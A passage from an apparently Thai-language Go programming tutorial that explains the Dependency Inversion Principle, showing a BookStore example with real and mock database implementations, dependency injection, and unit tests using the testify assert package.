}</code></pre><p>&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE42;&#xE14;&#xE22; Implement Method &#xE15;&#xE32;&#xE21; BookDatabase Interface &#xE0B;&#xE36;&#xE48;&#xE07; GetBook &#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; &quot;Real Book: Fundamental of Deep Learning in Practice&quot; &#xE40;&#xE2A;&#xE21;&#xE2D; (&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE23;&#xE34;&#xE07;)</p><pre><code>// RealDatabase &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;
type RealDatabase struct {
    // &#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;
}

func (db *RealDatabase) GetBook(id int) (string, error) {
    // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07;
    return &quot;Real Book: Fundamental of Deep Learning in Practice&quot;, nil
}

func (db *RealDatabase) AddBook(title string) error {
    // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE19; Database &#xE08;&#xE23;&#xE34;&#xE07;
    return nil
}

func (db *RealDatabase) DeleteBook(id int) error {
    // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07;
    return nil
}</code></pre><p>&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Database &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; map[int]string &#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE17;&#xE35;&#xE48; Implement Method &#xE15;&#xE32;&#xE21; BookDatabase Interface &#xE0B;&#xE36;&#xE48;&#xE07; GetBook &#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; map</p><pre><code>// MockDatabase &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Database &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
type MockDatabase struct {
    books map[int]string
}

func (db *MockDatabase) GetBook(id int) (string, error) {
    book, exists := db.books[id]
    if !exists {
        return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
    }
    return fmt.Sprintf(&quot;Mock Book: %s&quot;, book), nil
}

func (db *MockDatabase) AddBook(title string) error {
    newID := len(db.books) + 1
    db.books[newID] = title
    return nil
}

func (db *MockDatabase) DeleteBook(id int) error {
    delete(db.books, id)
    return nil
}</code></pre><p>&#xE19;&#xE34;&#xE22;&#xE32;&#xE21; BookStore &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Program &#xE21;&#xE35;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C; db &#xE40;&#xE1B;&#xE47;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; BookDatabase &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Interface</p><pre><code>// BookStore &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Application
type BookStore struct {
    db BookDatabase
}</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE31;&#xE1A; BookDatabase &#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07; Pointer &#xE02;&#xE2D;&#xE07; BookStore Object &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; (Dependency Injection)</p><pre><code>// NewBookStore &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore &#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Database &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;
func NewBookStore(db BookDatabase) *BookStore {
    return &amp;BookStore{db: db}
}
</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method &quot;GetBookTitle()&quot;, &quot;AddBook()&quot; &#xE41;&#xE25;&#xE30; &quot;DeleteBook()&quot; &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; struct &quot;BookStore&quot;</p><pre><code>// GetBookTitle &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) GetBookTitle(id int) (string, error) {
    return bs.db.GetBook(id)
}

// AddBook &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE21;&#xE18;&#xE2D;&#xE14;&#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) AddBook(title string) error {
	return bs.db.AddBook(title)
}

// DeleteBook &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE21;&#xE18;&#xE2D;&#xE14;&#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) DeleteBook(id int) error {
	return bs.db.DeleteBook(id)
}
</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE01;&#xE31;&#xE1A; Mock Database &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Code &#xE02;&#xE2D;&#xE07; BookStore &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; RealDatabase Object &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; BookStore &#xE15;&#xE31;&#xE27;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; MockDatabase Object &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; BookStore &#xE2D;&#xE35;&#xE01;&#xE15;&#xE31;&#xE27;</p><pre><code>func main() {
    // &#xE43;&#xE0A;&#xE49; Database &#xE08;&#xE23;&#xE34;&#xE07;
    realDB := &amp;RealDatabase{}
    realStore := NewBookStore(realDB)
    title, _ := realStore.GetBookTitle(1)
    fmt.Println(title)  // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;Real Book: Fundamental of Deep Learning in Practice&quot;

    // &#xE43;&#xE0A;&#xE49; Mock Database
    mockDB := &amp;MockDatabase{books: map[int]string{1: &quot;The Hobbit&quot;}}
    mockStore := NewBookStore(mockDB)
    title, _ = mockStore.GetBookTitle(1)
    fmt.Println(title)  // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;Mock Book: The Hobbit&quot;
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49; DIP &#xE43;&#xE19; Code &#xE14;&#xE31;&#xE07;&#xE01;&#xE25;&#xE48;&#xE32;&#xE27; &#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE01;&#xE31;&#xE1A; Mock Database &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Code &#xE02;&#xE2D;&#xE07; BookStore &#xE41;&#xE25;&#xE49;&#xE27;&#xE22;&#xE31;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE02;&#xE22;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;&#xE43;&#xE19;&#xE2D;&#xE19;&#xE32;&#xE04;&#xE15; &#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Database &#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; BookStore &#xE2D;&#xE35;&#xE01;&#xE14;&#xE49;&#xE27;&#xE22;</p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE23;&#xE07;&#xE19;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE14;&#xE49;&#xE27;&#xE22; Mock Database &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE44;&#xE14;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE43;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07; Dependency Injection &#xE21;&#xE32;&#xE1E;&#xE2D;&#xE2A;&#xE21;&#xE04;&#xE27;&#xE23;&#xE41;&#xE25;&#xE49;&#xE27;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Package &quot;bookstore&quot; &#xE42;&#xE14;&#xE22;&#xE41;&#xE22;&#xE01; Code &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Mock Database &#xE44;&#xE27;&#xE49;&#xE43;&#xE19; File &quot;bookstore.go&quot; &#xE41;&#xE25;&#xE30; Code &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Mock Database &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33; Unit Test &#xE43;&#xE19; File &quot;bookstore_test.go&quot;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Package &quot;bookstore&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; bookstore
        &#x251C;&#x2500;&#x2500; bookstore.go
        &#x2514;&#x2500;&#x2500; bookstore_test.go</code></pre><p><strong>bookstore.go</strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;bookstore&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><p><strong>bookstore_test.go</strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE43;&#xE19; bookstore_test.go &#xE21;&#xE35; Function &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 3 Function &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><p><strong>TestGetBookTitle()</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Method &quot;GetBookTitle()&quot; &#xE02;&#xE2D;&#xE07; BookStore &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock Database &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; 2 &#xE40;&#xE25;&#xE48;&#xE21; &#xE41;&#xE25;&#xE49;&#xE27;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE19; Database</p><p><strong>TestAddBook()</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Method &quot;AddBook()&quot; &#xE02;&#xE2D;&#xE07; BookStore &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock Database &#xE40;&#xE1B;&#xE25;&#xE48;&#xE32; &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p><strong>TestDeleteBook()</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Method &quot;DeleteBook()&quot; &#xE02;&#xE2D;&#xE07; BookStore &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock Database &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; 1 &#xE40;&#xE25;&#xE48;&#xE21; &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE44;&#xE2B;&#xE21; &#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE25;&#xE1A;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Assert &#xE08;&#xE32;&#xE01; Package &quot;<strong>github.com/stretchr/testify/assert</strong>&quot; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Assert &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Test Case &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE02;&#xE2D;&#xE07; Assert &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p><strong>assert.Error(t, err)</strong><br>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE32;&#xE14;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE34;&#xE14; Error &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE23;&#xE13;&#xE35;&#xE2B;&#xE32;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; err &#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; nil (&#xE21;&#xE35; Error &#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;)</p><p><strong>assert.Empty(t, got)</strong><br>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; got (&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE27;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE23;&#xE13;&#xE35;&#xE2B;&#xE32;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;</p><p><strong>assert.NoError(t, err)</strong><br>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE32;&#xE14;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Error &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; err &#xE40;&#xE1B;&#xE47;&#xE19; nil &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; (&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Error &#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;)</p><p><strong>assert.Equal(t, expected, got)</strong><br>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; (expected) &#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE23;&#xE34;&#xE07; (got) &#xE27;&#xE48;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;</p><figure class="kg-card kg-code-card"><pre><code>// bookstore.go

package bookstore

// BookDatabase &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32; Book Database &#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;
type BookDatabase interface {
	GetBook(id int) (string, error)
	AddBook(title string) error
	DeleteBook(id int) error
}

// RealDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;
type RealDatabase struct {
	// &#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;
}

func (db *RealDatabase) GetBook(id int) (string, error) {
	// &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07;
	return &quot;Real Book: Harry Potter&quot;, nil
}

func (db *RealDatabase) AddBook(title string) error {
